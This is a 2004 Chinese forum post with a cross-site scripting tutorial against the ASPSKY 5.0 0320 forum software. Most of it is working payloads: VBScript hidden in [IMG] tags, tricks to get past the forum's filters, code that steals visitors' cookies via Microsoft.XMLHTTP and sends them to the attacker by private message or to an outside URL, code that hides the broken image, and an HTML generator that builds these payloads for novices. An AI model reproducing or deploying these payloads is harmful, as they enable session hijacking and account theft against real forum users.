|
論壇說明 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2004-06-23, 02:14 AM | #1 |
榮譽會員
|
利用Microsoft.XMLHTTP控件傳送COOKIE
(注意由於論壇會對文章中的一些字串作處理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章 http://www.chinansl.com/czy/aspsky5.htm(測試碼) 跨站指令碼攻擊想必各位都已經是很熟悉了,但是得到COOKIE的時候一直有一個 問題:總是要用WINDOW.OPEN彈一個表單出來然後傳送COOKIE,這樣隱秘性 就大打折扣了。以前我想了一個在網頁中用insertAdjacentHTML方法來注入HTML語句 的辦法勉強可以作到傳送COOKIE不出現IE視窗,但是在實際使用中有時會遇到IE出錯。 沒有更好的辦法了嗎?以前在研究VBS病毒自動昇級的時候用到一個Microsoft.XMLHTTP 控件(該控件是WIN98/2K上都預設原有的的東東,並且它是IE認為safe的控件!),通過它我們 可以在網頁中給網站傳送http請求,可以是POST也可以是GET. 好了思路已經到這兒來,下面我們可以實戰一下,我以ASPSKY 5.0 0320為例子。 我們知道<IMG SRC="XXXXXXX">在SRC中可以寫入vbscript:這樣的語句。。比如 <img src="vbscript:a=(msgbox(now))">,但是我們只能執行一個語句,比如 <img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">這樣都將是錯誤的! 怎麼辦法呢?在VBS中我們可以用EXECUTE語句,在JS中我們可以使用EVAL語! 比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")"> 或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')"> 還沒有暈吧?上面你可能會注意到用VBS的execute語句時雙引號要換為"這是因為: 在VBS中單引號要括起字串串,必須是兩個單引號代表一個又引號,並且在雙引號內! 所以在execute語句中我們不能用單引號,而直接用"呢,在HTML進行引號匹配的時候 會和src="後的引號匹配,所以我們只能用"替代了。 引號的問題解決了,在實際套用中ASPSKY還會對我們的程式碼進行處理: 1:如果發現script字串,會在前面加上一個空格 2:如果發現http字串會認為是一個URL,並在兩邊加上<A>元素 3:如果發現空格會用 替代 解決問題: 1:vbscript用vbsCript替代 2:http用,""ht""+""tp...替代(vbs中引號括引號裡面的套用多一對,+代表連接符) 3:空格用 替代(注不是) 在最後就是傳送COOKIE的問題: 1:控件在本地機可以GET,POST任意的網站,但是在網頁中竟然只能 GET,POST當前服務器。。。。要不然IE就會說拒絕仿問! 2:cookie中不能有&等在URL中有特殊交意的字串 解決問題: 1:只能發給當前服務器,那麼可以把COOKIE發到你在論壇上的註冊的用戶的郵箱嘛 2:replace(document.cookie,""&"",""-""),在vbs中用 replace替換函用,在例子中我把"&"換成了"-" 問題都解決了下面是實際的例子: 動網aspsky 5.0 0320測試成功 //---------------------- [IMG]vbscript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/ yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=傳送&message=""&dat,false:http.send")[/IMG] 說明:把COOKIE發給CZY用戶,郵件標題叫news //---------------------- 另控件的正常用法: <script language=vbs> dat=document.cookie set http=createobject("Microsoft.XMLHTTP") http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false http.send tt=http.responsetext msgbox tt </script> 讓程式碼更完美,現在COOKIE已經乖乖的在我們的郵箱裡了,但是有一個小問題由於圖片不 能正常的顯示會是一個小叉,旁邊還有按此在新視窗瀏覽圖片的提示。。。這又難免會讓人 生疑。 解決思路: 一個網頁中的所有IMG元素通過document.imanges都能例舉到,並且可以設定它們的大小, 當width=0時就相當於HIDDEN了. 通過比較元素的src內容的值是否含有"ript"就可以判斷是不是我們的圖片. 另外比較時大於符用>替代,0用0替代! 程式碼: [IMG]vbscript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/IMG] 實際套用的程式碼: [IMG]vbscript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then: aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yan qing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=傳送&message=""&dat,false:http.send")[/IMG] //-------------------方便菜鳥使用:) <html> <script language=vbs> sub changeq() if form1.loc.value="" or form1.who.value="" then msgbox "沒有加入位址或用戶名?" exit sub end if loc=form1.loc.value user=form1.who.value str="[IMG]vbscript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then: aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://"&loc&"/usersms.asp?action=send&touser="&user&"&title=news&submit=傳送&message=""&dat,false:http.send") [/IMG]" form1.area.value=str end sub </script> <body> <FONT SIZE=5 COLOR=RED>ASPSKY 5.0 0320 COOKI搜集器--CZY</FONT> <form name=form1> 設定傳送位址:<input type=text name=loc size=50><br> ▲傳送位址形如:www.nnit30.com/newbbs(newbbs是網站中論壇的安裝目錄最後不用加/,也 不要http://頭)<br> 傳送的用戶名:<input type=text name=who size=20>------------- <input type=button name=change value=產生程式碼 onclick=changeq()><br> 產生的程式碼<textarea name=area rows=10 cols=100></textarea> </form> </body> </html> |
送花文章: 3,
|